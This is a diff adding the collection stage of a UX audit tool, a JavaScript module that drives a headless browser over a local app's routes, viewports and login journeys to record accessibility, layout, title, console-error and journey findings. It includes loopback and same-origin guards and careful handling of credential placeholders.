+ * @param {string|undefined} pattern - route `title-pattern` (a regular expression)
551
+ * @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
552
+ * @returns {object|null}
553
+ * @throws {CollectError} code `invalid-title-pattern` — a manifest defect. It can
554
+ * only be reached by a caller that skipped {@link assertTitlePatternsCompile};
555
+ * `collect()` validates every route pattern BEFORE it opens a browser, so a
556
+ * broken manifest never starts a run half-way.
557
+ */
558
+ export function findingFromTitle(title, pattern, { route, viewport, build, evidence } = {}) {
559
+ const verdict = titleMatches(String(title ?? ''), pattern);
560
+ if (!verdict.ok) {
561
+ throw new CollectError('invalid-title-pattern', `route ${route}: title-pattern is not a valid regular expression`);
562
+ }
563
+ if (verdict.matched) return null;
564
+ const measured = String(title ?? '');
565
+ return makeFinding({
566
+ checkId: CHECK_IDS.TITLE_MISMATCH,
567
+ locator: viewportLocator(route, viewport, 'title'),
568
+ severity: SEVERITY_BY_CHECK[CHECK_IDS.TITLE_MISMATCH],
569
+ build,
570
+ message: `page title does not match title-pattern ${String(pattern)}`,
571
+ evidence: { ...(evidence ?? {}), title: measured },
572
+ });
573
+ }
574
+
575
+ /** Normalise the `errors --json` payload (array, `{errors: []}`, or `{count: n}`) into an array. */
576
+ function normalizeErrors(payload) {
577
+ if (Array.isArray(payload)) return payload;
578
+ if (payload && typeof payload === 'object') {
579
+ if (Array.isArray(payload.errors)) return payload.errors;
580
+ if (Array.isArray(payload.messages)) return payload.messages;
581
+ if (Number.isFinite(Number(payload.count))) return new Array(Number(payload.count)).fill({});
582
+ }
583
+ return [];
584
+ }
585
+
586
+ /**
587
+ * ONE `console-errors` finding per route × viewport when at least one page error
588
+ * was recorded (PRD § 2 S3: the check is "≥ 1 Fehler auf der Route", not one
589
+ * finding per error — otherwise a single broken script inflates the ledger).
590
+ *
591
+ * @param {*} errors - parsed `errors --json` payload
592
+ * @param {{route: string, viewport: string, build: string, evidence?: object}} ctx
593
+ * @returns {object[]} zero or one finding
594
+ */
595
+ export function findingsFromErrors(errors, { route, viewport, build, evidence } = {}) {
596
+ const list = normalizeErrors(errors);
597
+ if (list.length === 0) return [];
598
+ return [
599
+ makeFinding({
600
+ checkId: CHECK_IDS.CONSOLE_ERRORS,
601
+ locator: viewportLocator(route, viewport, 'console'),
602
+ severity: SEVERITY_BY_CHECK[CHECK_IDS.CONSOLE_ERRORS],
603
+ build,
604
+ message: `${list.length} page error(s) recorded on this route`,
605
+ evidence: { ...(evidence ?? {}), errorCount: list.length },
606
+ }),
607
+ ];
608
+ }
609
+
610
+ /**
611
+ * Journey findings (PRD § 3 AC): `journey-failed` when `success` was never
612
+ * reached, otherwise `journey-step-count` when the journey needed more steps
613
+ * than `max-steps`. A journey that succeeded within budget yields none.
614
+ *
615
+ * @param {{name: string, viewport: string, stepsRun: number, maxSteps: number,
616
+ * success: boolean, build: string, evidence?: object}} ctx
617
+ * @returns {object[]}
618
+ */
619
+ export function journeyFindings({ name, viewport, stepsRun, maxSteps, success, build, evidence } = {}) {
620
+ const locator = journeyLocator(viewport, name);
621
+ const steps = Number(stepsRun) || 0;
622
+ const budget = Number(maxSteps);
623
+ if (!success) {
624
+ return [
625
+ makeFinding({
626
+ checkId: CHECK_IDS.JOURNEY_FAILED,
627
+ locator,
628
+ severity: SEVERITY_BY_CHECK[CHECK_IDS.JOURNEY_FAILED],
629
+ build,
630
+ message: `journey did not reach its success condition after ${steps} step(s)`,
631
+ evidence: { ...(evidence ?? {}), stepsRun: steps, maxSteps: budget },
632
+ }),
633
+ ];
634
+ }
635
+ if (Number.isFinite(budget) && steps > budget) {
636
+ return [
637
+ makeFinding({
638
+ checkId: CHECK_IDS.JOURNEY_STEP_COUNT,
639
+ locator,
640
+ severity: SEVERITY_BY_CHECK[CHECK_IDS.JOURNEY_STEP_COUNT],
641
+ build,
642
+ message: `journey reached success in ${steps} step(s), budget is ${budget}`,
643
+ evidence: { ...(evidence ?? {}), stepsRun: steps, maxSteps: budget },
644
+ }),
645
+ ];
646
+ }
647
+ return [];
648
+ }
649
+
650
+ /** Lazily load `measures.mjs` (sibling module, written in the same wave) and cache its classifier. */
651
+ async function loadMeasures(injected) {
652
+ if (injected) {
653
+ measuresModule = injected;
654
+ classifyTargetSizeRef = injected.classifyTargetSize ?? classifyTargetSizeRef;
655
+ return injected;
656
+ }
657
+ if (measuresModule) return measuresModule;
658
+ measuresModule = await import('./measures.mjs');
659
+ classifyTargetSizeRef = measuresModule.classifyTargetSize ?? null;
660
+ return measuresModule;
661
+ }
662
+
663
+ /**
664
+ * Re-assert the loopback guards at the Stufe-1 entry point.
665
+ *
666
+ * `manifest.mjs` guards these at parse time; collect.mjs asserts them again
667
+ * because the AC names THIS module as the thing that must refuse to drive a
668
+ * browser against production, and a guard that depends on its caller having run
669
+ * another guard is not a guard (BV-002). No env VALUE is ever put in the message.
670
+ *
671
+ * Defence in depth means running the guard twice — never OWNING a second
672
+ * predicate: the two copies had already drifted (this one accepted `0.0.0.0`
673
+ * and `*.localhost`, `manifest.mjs` did not), so the predicates below are
674
+ * `manifest.mjs`'s, re-thrown as {@link CollectError} for this module's callers.
675
+ *
676
+ * @param {object} frontmatter
677
+ * @param {Map<string,string>} envMap
678
+ */
679
+ function assertLoopback(frontmatter, envMap) {
680
+ try {
681
+ assertLoopbackBaseUrl(frontmatter);
682
+ assertGuardedEnvsLoopback(frontmatter, envMap);
683
+ } catch (error) {
684
+ if (error?.name === 'ManifestError') throw new CollectError(error.code, error.message);
685
+ throw error;
686
+ }
687
+ }
688
+
689
+ /**
690
+ * Resolve a manifest-supplied location against `base-url` and REQUIRE the same
691
+ * origin.
692
+ *
693
+ * "Is it loopback?" is not enough: `http://127.0.0.1:9999` is loopback and is
694
+ * still a different application — and an absolute `start:` on an attacker host
695
+ * plus a `fill #pw ${LOGIN_PASSWORD}` step would type the live credential into
696
+ * that page. Origin equality is the only predicate that keeps the run inside
697
+ * the app the manifest declares.
698
+ *
699
+ * The message never carries the resolved URL: it may hold a query string or
700
+ * embedded credentials, and this module's contract is that nothing secret
701
+ * reaches a message, a log line or an artefact.
702
+ *
703
+ * @param {string} baseUrl - already normalised (no trailing slash)
704
+ * @param {unknown} value - a route `path` or a journey `start`
705
+ * @param {{code: string, subject: string}} ctx - `subject` names the manifest
706
+ * entry (route path or `journey <name>`), never the URL
707
+ * @returns {string} the absolute, same-origin URL to open
708
+ * @throws {CollectError} with `ctx.code`
709
+ */
710
+ function resolveWithinOrigin(baseUrl, value, { code, subject }) {
711
+ const base = new URL(baseUrl);
712
+ let resolved;
713
+ try {
714
+ resolved = new URL(String(value ?? ''), base);
715
+ } catch {
716
+ throw new CollectError(code, `${subject} is not a resolvable location`);
717
+ }
718
+ if (resolved.origin !== base.origin) {
719
+ throw new CollectError(code, `${subject} resolves outside the base-url origin — refusing to drive a foreign app`);
720
+ }
721
+ return resolved.toString();
722
+ }
723
+
724
+ /** Parse a `WxH` viewport string into `[width, height]`, or `null` when malformed. */
725
+ function parseViewport(value) {
726
+ const match = /^\s*(\d+)\s*[xX×]\s*(\d+)\s*$/.exec(String(value ?? ''));
727
+ return match ? [Number(match[1]), Number(match[2])] : null;
728
+ }
729
+
730
+ /** `makeRunRecord` rejects unknown skip reasons, so every skip goes through this shape. */
731
+ function skipEntry(what, reason) {
732
+ return { what, reason };
733
+ }
734
+
735
+ /**
736
+ * Run Stufe 1 end to end.
737
+ *
738
+ * @param {object} opts
739
+ * @param {string} opts.repoRoot - absolute repo root of the TARGET repo
740
+ * @param {{frontmatter: object, manifestHash: string}} opts.manifest - as returned by `manifest.mjs` `loadManifest()`
741
+ * @param {Map<string,string>} [opts.envMap] - resolved env-file map from `loadManifest()`
742
+ * (VALUES; never written anywhere). MUST be a `Map` — the same type `manifest.mjs` uses.
743
+ * @param {string} opts.rubricHash - hash of `skills/ux-grill/rubric-v2.md`
744
+ * @param {(args: string[], opts?: object) => Promise<{stdout: string, stderr: string, code: number}>} [opts.exec]
745
+ * @param {string} [opts.runId]
746
+ * @param {() => Date} [opts.now] - clock seam for the run-record timestamp
747
+ * @param {object} [opts.measures] - injected `measures.mjs` namespace (tests); defaults to the real module
748
+ * @param {(persona: object, envMap: Map<string,string>) => {email: string, password: string}} [opts.resolveCredentials]
749
+ * defaults to `manifest.mjs` `resolvePersonaCredentials`, loaded lazily
750
+ * @returns {Promise<{runId: string, runDir: string, findings: object[], runRecord: object, skipped: object[]}>}
751
+ * @throws {CollectError} on a precondition failure, or when the FIRST route of the
752
+ * FIRST viewport cannot be opened (`base-url-unreachable` — the app is not running)
753
+ */
754
+ export async function collect({
755
+ repoRoot,
756
+ manifest,
757
+ envMap = new Map(),
758
+ rubricHash,
759
+ exec = defaultExec,
760
+ runId = makeRunId(),
761
+ now = () => new Date(),
762
+ measures = null,
763
+ resolveCredentials = null,
764
+ } = {}) {
765
+ if (typeof repoRoot !== 'string' || repoRoot.length === 0) {
766
+ throw new CollectError('invalid-args', 'collect: repoRoot must be a non-empty string');
767
+ }
768
+ if (typeof rubricHash !== 'string' || rubricHash.length === 0) {
769
+ throw new CollectError('invalid-args', 'collect: rubricHash must be a non-empty string');
770
+ }
771
+ const frontmatter = manifest?.frontmatter;
772
+ const manifestHash = manifest?.manifestHash;
773
+ if (!frontmatter || typeof frontmatter !== 'object' || typeof manifestHash !== 'string' || manifestHash.length === 0) {
774
+ throw new CollectError('invalid-manifest', 'collect: manifest must carry {frontmatter, manifestHash} from loadManifest()');
775
+ }
776
+ const build = frontmatter.build;
777
+ if (build !== 'dev' && build !== 'prod') {
778
+ throw new CollectError('invalid-manifest', `collect: manifest build must be 'dev' or 'prod', got ${String(build)}`);
779
+ }
780
+ if (!(envMap instanceof Map)) {
781
+ throw new TypeError('collect: envMap must be a Map (loadManifest() returns one)');
782
+ }
783
+ assertLoopback(frontmatter, envMap);
784
+
785
+ const measuresNs = await loadMeasures(measures);
786
+ const baseUrl = String(frontmatter['base-url']).replace(/\/+$/, '');
787
+ const viewports = Array.isArray(frontmatter.viewports) ? frontmatter.viewports : [];
788
+ const routes = Array.isArray(frontmatter.routes) ? frontmatter.routes : [];
789
+ const journeys = Array.isArray(frontmatter.journeys) ? frontmatter.journeys : [];
790
+ const personas = Array.isArray(frontmatter.personas) ? frontmatter.personas : [];
791
+
792
+ // Every manifest DEFECT is decided here, before a browser exists: a run that
793
+ // dies half-way has already written artefacts and appended nothing to the
794
+ // ledger, which is the worst of both outcomes.
795
+ const routeUrls = new Map();
796
+ for (const viewport of viewports) {
797
+ const name = String(viewport?.name ?? '');
798
+ if (name.trim().length === 0) {
799
+ throw new CollectError('invalid-viewport', 'every viewports[] entry needs a non-empty name');
800
+ }
801
+ }
802
+ for (const route of routes) {
803
+ const routePath = String(route?.path ?? '/');
804
+ routeUrls.set(route, resolveWithinOrigin(baseUrl, routePath, {
805
+ code: 'route-path-off-origin',
806
+ subject: `route ${routePath}`,
807
+ }));
808
+ const verdict = titleMatches('', route?.['title-pattern']);
809
+ if (!verdict.ok) {
810
+ throw new CollectError('invalid-title-pattern', `route ${routePath}: title-pattern is not a valid regular expression`);
811
+ }
812
+ }
813
+ const journeyUrls = new Map();
814
+ for (const journey of journeys) {
815
+ const name = String(journey?.name ?? 'journey');
816
+ journeyUrls.set(journey, resolveWithinOrigin(baseUrl, journey?.start ?? '/', {
817
+ code: 'journey-start-off-origin',
818
+ subject: `journey ${name}`,
819
+ }));
820
+ for (const line of Array.isArray(journey?.steps) ? journey.steps : []) {
821
+ assertStepArgv(splitStepLine(line), { baseUrl });
822
+ }
823
+ }
824
+
825
+ const runDir = runDirPath(repoRoot, runId);
826
+ const shotsDir = screenshotsDir(repoRoot, runId);
827
+ const aDir = axeDir(repoRoot, runId);
828
+ const mDir = measuresDir(repoRoot, runId);
829
+ for (const dir of [runDir, shotsDir, aDir, mDir]) fs.mkdirSync(dir, { recursive: true });
830
+
831
+ const session = await resolveSession(exec, repoRoot, runId);
832
+ const findings = [];
833
+ const skipped = [];
834
+ const ranViewports = [];
835
+ const ranRoutes = new Set();
836
+ let isFirstOpen = true;
837
+
838
+ const run = (args) => exec([...args, '--session', session]);
839
+ const relative = (absolute) => path.relative(runDir, absolute);
840
+
841
+ try {
842
+ for (const viewport of viewports) {
843
+ const vpName = String(viewport?.name ?? 'viewport');
844
+ const applied = await applyViewport(run, viewport, measuresNs);
845
+ if (!applied.ok) {
846
+ skipped.push(
847
+ applied.reason === 'measure-failed'
848
+ ? skipEntry(`viewport:${vpName}|eval:viewport-width`, SKIP_REASONS.MEASURE_FAILED)
849
+ : skipEntry(`viewport:${vpName}`, SKIP_REASONS.DEVICE_MISMATCH),
850
+ );
851
+ continue;
852
+ }
853
+ ranViewports.push(vpName);
854
+
855
+ for (const route of routes) {
856
+ const routePath = String(route?.path ?? '/');
857
+ // Clear BEFORE opening so the buffer holds only THIS route's errors;
858
+ // read AFTER the measurements so anything the measuring evals trigger is
859
+ // still attributed to the route that produced it.
860
+ await run(['errors', '--clear']);
861
+ const opened = await run(['open', routeUrls.get(route)]);
862
+ if (opened.code !== 0) {
863
+ if (isFirstOpen) {
864
+ throw new CollectError('base-url-unreachable', `cannot open route ${routePath} — is the build running?`);
865
+ }
866
+ skipped.push(skipEntry(`route:${routePath}|${vpName}`, SKIP_REASONS.ROUTE_UNREACHABLE));
867
+ continue;
868
+ }
869
+ isFirstOpen = false;
870
+ ranRoutes.add(routePath);
871
+
872
+ const stem = artefactStem({ route: routePath, viewport: vpName });
873
+ /** A measurement that did not happen is a SKIP, never a silent zero. */
874
+ const measureFailed = (call) => {
875
+ skipped.push(skipEntry(`${routePath}|${vpName}|${call}`, SKIP_REASONS.MEASURE_FAILED));
876
+ };
877
+
878
+ const titleRead = readCommandPayload(await run(['get', 'title', '--json']));
879
+ if (!titleRead.ok) measureFailed('get:title');
880
+ const title = titleRead.ok ? readTitle(titleRead.value) : '';
881
+
882
+ const axeResult = await run(['a11y', '--tags', 'wcag2a,wcag2aa', '--json']);
883
+ const axePath = path.join(aDir, `${stem}.json`);
884
+ fs.writeFileSync(axePath, axeResult.stdout, 'utf8');
885
+ const axeRead = readCommandPayload(axeResult);
886
+ if (!axeRead.ok) measureFailed('a11y');
887
+
888
+ const targetsRead = await evalJson(run, measuresNs.TARGET_SIZE_EVAL);
889
+ if (!targetsRead.ok) measureFailed('eval:target-size');
890
+ const targets = targetsRead.ok ? targetsRead.value : null;
891
+ const overflowRead = await evalJson(run, measuresNs.OVERFLOW_EVAL);
892
+ if (!overflowRead.ok) measureFailed('eval:overflow');
893
+ const overflow = overflowRead.ok ? overflowRead.value : null;
894
+ const errorsRead = readCommandPayload(await run(['errors', '--json']));
895
+ if (!errorsRead.ok) measureFailed('errors');
896
+
897
+ const measurePath = path.join(mDir, `${stem}.json`);
898
+ fs.writeFileSync(measurePath, `${JSON.stringify({ route: routePath, viewport: vpName, title, targets, overflow }, null, 2)}\n`, 'utf8');
899
+
900
+ const fullShot = path.join(shotsDir, `${screenshotName({ route: routePath, viewport: vpName, variant: 'full' })}.png`);
901
+ const foldShot = path.join(shotsDir, `${screenshotName({ route: routePath, viewport: vpName, variant: 'fold' })}.png`);
902
+ await run(['screenshot', fullShot, '--full']);
903
+ await run(['screenshot', foldShot]);
904
+
905
+ const evidence = {
906
+ screenshotFull: relative(fullShot),
907
+ screenshotFold: relative(foldShot),
908
+ axe: relative(axePath),
909
+ measures: relative(measurePath),
910
+ };
911
+ const ctx = { route: routePath, viewport: vpName, build, evidence };
912
+ if (axeRead.ok) findings.push(...findingsFromAxe(axeRead.value, ctx));
913
+ if (targetsRead.ok) {
914
+ findings.push(...findingsFromTargets(targets, { ...ctx, classify: measuresNs.classifyTargetSize }));
915
+ }
916
+ if (overflowRead.ok) {
917
+ const overflowFinding = findingFromOverflow(overflow, ctx);
918
+ if (overflowFinding) findings.push(overflowFinding);
919
+ }
920
+ if (titleRead.ok) {
921
+ const titleFinding = findingFromTitle(title, route?.['title-pattern'], ctx);
922
+ if (titleFinding) findings.push(titleFinding);
923
+ }
924
+ if (errorsRead.ok) findings.push(...findingsFromErrors(errorsRead.value, ctx));
925
+ }
926
+
927
+ for (const journey of journeys) {
928
+ const outcome = await runJourney({
929
+ run,
930
+ journey,
931
+ viewportName: vpName,
932
+ startUrl: journeyUrls.get(journey),
933
+ baseUrl,
934
+ build,
935
+ personas,
936
+ envMap,
937
+ shotsDir,
938
+ relative,
939
+ resolveCredentials,
940
+ });
941
+ findings.push(...outcome.findings);
942
+ if (outcome.skipped) skipped.push(outcome.skipped);
943
+ }
944
+ }
945
+ } finally {
946
+ await exec(['close', '--session', session]);
947
+ }
948
+
949
+ findings.sort((a, b) => (a.fingerprint < b.fingerprint ? -1 : a.fingerprint > b.fingerprint ? 1 : 0));
950
+ fs.writeFileSync(
951
+ findingsPath(repoRoot, runId),
952
+ findings.map((finding) => JSON.stringify(finding)).join('\n') + (findings.length > 0 ? '\n' : ''),
953
+ 'utf8',
954
+ );
955
+
956
+ const runRecord = makeRunRecord({
957
+ runId,
958
+ manifestHash,
959
+ rubricHash,
960
+ build,
961
+ timestamp: now().toISOString(),
962
+ viewports: ranViewports,
963
+ routes: [...ranRoutes],
964
+ findings,
965
+ skipped,
966
+ });
967
+ // `run-record.mjs` is the ONLY writer of the ledger (its docblock says so);
968
+ // it re-validates through `makeRunRecord` and owns the mkdir. No cycle: that
969
+ // module imports `./paths.mjs` + `./schema.mjs` only.
970
+ appendRunRecord(repoRoot, runRecord);
971
+
972
+ return { runId, runDir, findings, runRecord, skipped };
973
+ }
974
+
975
+ /** Ask the daemon for a worktree-scoped session name; fall back to the deterministic one. */
976
+ async function resolveSession(exec, repoRoot, runId) {
977
+ const probe = await exec(['session', 'id', '--scope', 'worktree', '--prefix', 'uxgrill']);
978
+ const raw = String(probe.stdout ?? '').trim().split('\n').pop()?.trim() ?? '';
979
+ if (probe.code !== 0 || raw.length === 0) return sessionName(repoRoot, runId);
980
+ const sanitized = raw.replace(/[^A-Za-z0-9._-]/g, '-');
981
+ return sanitized.startsWith('uxgrill') ? sanitized : `uxgrill-${sanitized}`;
982
+ }
983
+
984
+ /** `get title --json` may answer a bare string or `{title: "..."}`. */
985
+ function readTitle(payload) {
986
+ if (payload && typeof payload === 'object' && !Array.isArray(payload)) return String(payload.title ?? '');
987
+ return String(payload ?? '');
988
+ }
989
+
990
+ /** `get url --json` may answer a bare string or `{url: "..."}`. */
991
+ function readUrl(payload) {
992
+ if (payload && typeof payload === 'object' && !Array.isArray(payload)) return String(payload.url ?? '');
993
+ return String(payload ?? '');
994
+ }
995
+
996
+ /**
997
+ * Run one `eval` and read its payload.
998
+ * @returns {Promise<{ok: true, value: unknown}|{ok: false}>} `{ok: false}` on a
999
+ * non-zero exit, unparseable stdout, or an envelope with `success: false`
1000
+ * (which arrives at exit 0 — see {@link readCommandPayload}).
1001
+ */
1002
+ async function evalJson(run, script) {
1003
+ return readEvalPayload(await run(['eval', String(script ?? ''), '--json']));
1004
+ }
1005
+
1006
+ /**
1007
+ * Apply one viewport entry and VERIFY it took effect (PRD § 5 device-mismatch risk).
1008
+ *
1009
+ * Verification is against an EXPECTATION, and there are exactly two sources for
1010
+ * one: an explicit `expected-width` on the viewport entry, or {@link DEVICE_WIDTHS}
1011
+ * for a device name whose width was measured. With neither, the viewport is
1012
+ * SKIPPED (`no-expected-width`) — it is not verified.
1013
+ *
1014
+ * The previous rule ("differ from the last accepted width") accepted whatever
1015
+ * the FIRST viewport measured, since there is no previous width then. That is
1016
+ * the PRD § 5 incident verbatim: an unknown device name leaves the previous
1017
+ * device in place (measured 2026-09-12), so the run would file desktop captures
1018
+ * under a `mobile` label — the exact mislabelling this verification exists to
1019
+ * prevent. A viewport that cannot be verified is worth less than no viewport.
1020
+ *
1021
+ * @returns {Promise<{ok: boolean, width: number|null, reason?: string}>}
1022
+ * `reason` ∈ `no-viewport-spec` | `apply-failed` | `measure-failed` |
1023
+ * `no-expected-width` | `width-mismatch`
1024
+ */
1025
+ async function applyViewport(run, viewport, measuresNs) {
1026
+ const size = parseViewport(viewport?.viewport);
1027
+ let expected = Number.isFinite(Number(viewport?.['expected-width'])) ? Number(viewport['expected-width']) : null;
1028
+ let applyResult;
1029
+ if (size) {
1030
+ applyResult = await run(['set', 'viewport', String(size[0]), String(size[1])]);
1031
+ expected = expected ?? size[0];
1032
+ } else if (viewport?.device) {
1033
+ applyResult = await run(['set', 'device', String(viewport.device)]);
1034
+ expected = expected ?? DEVICE_WIDTHS[String(viewport.device)] ?? null;
1035
+ } else {
1036
+ return { ok: false, width: null, reason: 'no-viewport-spec' };
1037
+ }
1038
+ if (applyResult.code !== 0) return { ok: false, width: null, reason: 'apply-failed' };
1039
+
1040
+ const measuredRead = await evalJson(run, measuresNs.VIEWPORT_WIDTH_EVAL);
1041
+ if (!measuredRead.ok) return { ok: false, width: null, reason: 'measure-failed' };
1042
+ const measuredRaw = measuredRead.value;
1043
+ const measured = Number(measuredRaw && typeof measuredRaw === 'object' ? measuredRaw.innerWidth : measuredRaw);
1044
+ if (!Number.isFinite(measured)) return { ok: false, width: null, reason: 'measure-failed' };
1045
+ if (expected === null) return { ok: false, width: measured, reason: 'no-expected-width' };
1046
+ return measured === expected
1047
+ ? { ok: true, width: measured }
1048
+ : { ok: false, width: measured, reason: 'width-mismatch' };
1049
+ }
1050
+
1051
+ /**
1052
+ * Replay one journey on one viewport and return its findings.
1053
+ *
1054
+ * Credentials: resolved only when the journey names a persona, substituted into
1055
+ * step TOKENS (after splitting, so a value containing spaces stays one argv
1056
+ * entry) and never written to any artefact — the screenshots are named by step
1057
+ * INDEX and the findings carry counts only.
1058
+ *
1059
+ * `startUrl` is resolved and origin-checked by `collect()` before any browser
1060
+ * exists ({@link resolveWithinOrigin}) — this function never turns manifest text
1061
+ * into a URL, which is what let an absolute off-origin `start` receive a
1062
+ * substituted password.
1063
+ *
1064
+ * @returns {Promise<{findings: object[], skipped: {what: string, reason: string}|null}>}
1065
+ */
1066
+ async function runJourney({ run, journey, viewportName, startUrl, baseUrl, build, personas, envMap, shotsDir, relative, resolveCredentials }) {
1067
+ const name = String(journey?.name ?? 'journey');
1068
+ const maxSteps = Number(journey?.['max-steps']);
1069
+ const steps = Array.isArray(journey?.steps) ? journey.steps : [];
1070
+ const successPattern = journey?.success;
1071
+ let successRe = null;
1072
+ if (successPattern) {
1073
+ try {
1074
+ successRe = new RegExp(String(successPattern));
1075
+ } catch (error) {
1076
+ throw new CollectError('invalid-journey-success', `journey ${name}: success is not a valid regex (${error.message})`);
1077
+ }
1078
+ }
1079
+
1080
+ let credentials = null;
1081
+ if (journey?.persona) {
1082
+ const persona = personas.find((entry) => entry?.name === journey.persona);
1083
+ if (persona) {
1084
+ credentials = (resolveCredentials ?? defaultResolveCredentials)(persona, envMap);
1085
+ }
1086
+ }
1087
+
1088
+ const start = String(journey?.start ?? '/');
1089
+ const opened = await run(['open', startUrl]);
1090
+ if (opened.code !== 0) {
1091
+ // The journey never started, so `success: false` says nothing about the
1092
+ // product — filing `journey-failed` here would read as a UX defect and, on
1093
+ // the next run, as `fixed` once the page is reachable again.
1094
+ return { findings: [], skipped: skipEntry(`journey:${name}`, SKIP_REASONS.ROUTE_UNREACHABLE) };
1095
+ }
1096
+ let stepsRun = 0;
1097
+ let success = false;
1098
+ const shots = [];
1099
+
1100
+ {
1101
+ const hardCap = Number.isFinite(maxSteps) ? maxSteps + JOURNEY_STEP_OVERRUN : steps.length;
1102
+ for (const line of steps) {
1103
+ if (stepsRun >= hardCap) break;
1104
+ // Re-asserted here, not only in collect()'s pre-flight: a guard that
1105
+ // depends on its caller having run another guard is not a guard (BV-002).
1106
+ // Before substitution — the verb and the `open` location are manifest
1107
+ // text, and the assertion must never see a credential.
1108
+ const argv = assertStepArgv(splitStepLine(line), { baseUrl }).map(
1109
+ (token) => substituteCredentials(token, credentials),
1110
+ );
1111
+ if (argv.length === 0) continue;
1112
+ await run(argv);
1113
+ stepsRun += 1;
1114
+ const shot = path.join(shotsDir, `${screenshotName({ route: name, viewport: viewportName, variant: `step-${stepsRun}` })}.png`);
1115
+ await run(['screenshot', shot]);
1116
+ shots.push(relative(shot));
1117
+ if (await journeySucceeded(run, successRe)) {
1118
+ success = true;
1119
+ break;
1120
+ }
1121
+ }
1122
+ }
1123
+
1124
+ return {
1125
+ findings: journeyFindings({
1126
+ name,
1127
+ viewport: viewportName,
1128
+ stepsRun,
1129
+ maxSteps,
1130
+ success,
1131
+ build,
1132
+ evidence: { screenshots: shots, start },
1133
+ }),
1134
+ skipped: null,
1135
+ };
1136
+ }
1137
+
1138
+ /**
1139
+ * Substitute the two credential placeholders in ONE argv token. Never logged.
1140
+ *
1141
+ * Literal, global and single-pass (#1335): a STRING replacement argument
1142
+ * expands `$&`, `` $` ``, `$'` and `$$`, which would mangle a password holding
1143
+ * them, and `replace(string, …)` hits only the first occurrence. A replacer
1144
+ * function's return value is inserted verbatim, and one pass means a value
1145
+ * that itself contains a placeholder (an email holding `${LOGIN_PASSWORD}`) is
1146
+ * never substituted a second time.
1147
+ */
1148
+ function substituteCredentials(token, credentials) {
1149
+ if (!credentials) return token;
1150
+ return token.replace(/\$\{LOGIN_(EMAIL|PASSWORD)\}/g, (_, key) =>
1151
+ key === 'EMAIL' ? (credentials.email ?? '') : (credentials.password ?? ''),
1152
+ );
1153
+ }
1154
+
1155
+ /** Test the journey `success` pattern against the current URL and the body text. */
1156
+ async function journeySucceeded(run, successRe) {
1157
+ if (!successRe) return false;
1158
+ const urlResult = await run(['get', 'url', '--json']);
1159
+ const urlRead = readCommandPayload(urlResult);
1160
+ if (urlRead.ok && successRe.test(readUrl(urlRead.value))) return true;
1161
+ const textResult = await run(['get', 'text', 'body']);
1162
+ return textResult.code === 0 && successRe.test(String(textResult.stdout ?? ''));
1163
+ }